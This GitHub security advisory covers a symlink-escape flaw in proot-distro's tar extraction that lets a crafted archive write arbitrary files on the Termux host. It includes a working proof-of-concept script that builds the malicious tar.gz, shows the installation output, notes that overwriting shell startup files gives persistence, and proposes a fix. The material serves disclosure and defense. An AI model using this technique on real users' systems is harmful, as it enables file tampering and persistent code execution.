GHSA-9xq3-3fqg-4vg7 `proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive

• PyPI proot-distro: < 5.1.5 → fixed in 5.1.5

Repository: `termux/proot-distro` Component: `proot_distro/commands/install.py` → `_extract_plain_tar()`; also `helpers/docker.py` → `_apply_layer()` --- Affected Versions | Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 | --- Vulnerability Description `proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in `proot_distro/commands/install.py`. This function correctly rejects tar member names containing `..` components, but applies no equivalent check on symlink targets (`member.linkname`). A tar archive can therefore: 1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. `/data/data/com.termux/files/home`). 2. Write a subsequent regular-file member whose path traverses through that symlink name. Python's `open()` follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during `proot-distro install`, before the container is ever run. The same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the equivalent `_apply_layer` in `helpers/docker.py` contains the same flaw. --- Vulnerable Code `proot_distro/commands/install.py`, `_extract_plain_tar()`: ```python elif member.issym(): # linkname taken verbatim from archive — no validation of target os.symlink(member.linkname, dest) # ← symlink planted on host elif member.isreg(): dest = os.path.join(rootfs_dir, rel_path) with open(dest, 'wb') as out: # ← follows symlink above ... ``` The existing traversal guard only covers member names: ```python if any(p in ('..', '') for p in rel_parts): continue # only checks the name, not the symlink target ``` There is no check on `member.linkname`. An absolute symlink target bypasses this guard entirely. | Check | Member name (`rel_path`) | Symlink target (`member.linkname`) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject `..` components | ✅ | ❌ | | Confirm stays inside `rootfs_dir` | ❌ | ❌ | --- Proof of Concept Step 1 — Craft a malicious archive ```python craft_evil_layer.py import tarfile, io, hashlib PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n" buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tf: # Plant symlink: /escape → /data/data/com.termux/files/home sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = '/data/data/com.termux/files/home' tf.addfile(sym) # Write file through symlink: /escape/POC_SUCCESS → host ~/POC_SUCCESS reg = tarfile.TarInfo(name='escape/POC_SUCCESS') reg.size = len(PAYLOAD) tf.addfile(reg, io.BytesIO(PAYLOAD)) data = buf.getvalue() with open('evil.tar.gz', 'wb') as f: f.write(data) print("Created evil.tar.gz") print("sha256:", hashlib.sha256(data).hexdigest()) ``` Step 2 — Install the archive ``` $ python craft_evil_layer.py Created evil.tar.gz sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57 $ proot-distro install ./evil.tar.gz [*] Installing from 'evil.tar.gz' as 'evil'... [*] Extracting rootfs from archive... [*] Finished installation. ``` Step 3 — Verify proot-distro version ``` $ pkg show proot-distro | grep Version WARNING: apt does not have a stable CLI interface. Use with caution in scripts. Version: 5.0.2 ``` Step 4 — Verify host write ``` $ cat ~/POC_SUCCESS TERMUX_ESCAPE_SUCCESS ``` `POC_SUCCESS` was written directly into the host Termux `$HOME` during installation, with no container login required. --- Impact • Arbitrary host file write at the full privilege of the Termux process, triggered solely by `proot-distro install` — no container interaction required. • A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this. • Practical payloads include overwriting `~/.bashrc`, `~/.profile`, `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving persistent code execution the next time the user opens a shell. • Also reachable via `proot-distro reset` if the malicious archive is reused, and via `_apply_layer` in `helpers/docker.py`. --- Root Cause `_extract_plain_tar` validates member names against `..` traversal but places no restriction on symlink targets. The two vectors are treated asymmetrically: | Check | Member name (`rel_path`) | Symlink target (`member.linkname`) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject `..` components | ✅ | ❌ | | Confirm stays inside `rootfs_dir` | ❌ | ❌ | The member-name check (`any(p in ('..', '') for p in rel_parts)`) is necessary but not sufficient: a symlink with an absolute target bypasses it entirely. --- Proposed Fix Add a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`. Apply in both `_extract_plain_tar` and `_apply_layer`: ```python def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool: """Return True only if the symlink target resolves inside rootfs_dir.""" if os.path.isabs(linkname): return False # absolute targets always escape on the host resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname)) real_root = os.path.realpath(rootfs_dir) real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved) else os.path.normpath(resolved)) return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root ``` Then in `_extract_plain_tar`: ```python elif member.issym(): if not _is_safe_symlink(rootfs_dir, dest, member.linkname): continue # drop unsafe symlink if os.path.lexists(dest): ... os.symlink(member.linkname, dest) ``` Apply the identical guard inside `_apply_layer` in `helpers/docker.py`. > Note: A stricter alternative — matching Docker's own behavior — is to rewrite > absolute symlink targets to relative paths within the rootfs rather than dropping them, > to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as > `/usr/lib → /lib`. --- *Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.* *Maintainer: @sylirre — report via GitHub Security Advisory on the `termux/proot-distro` repository.*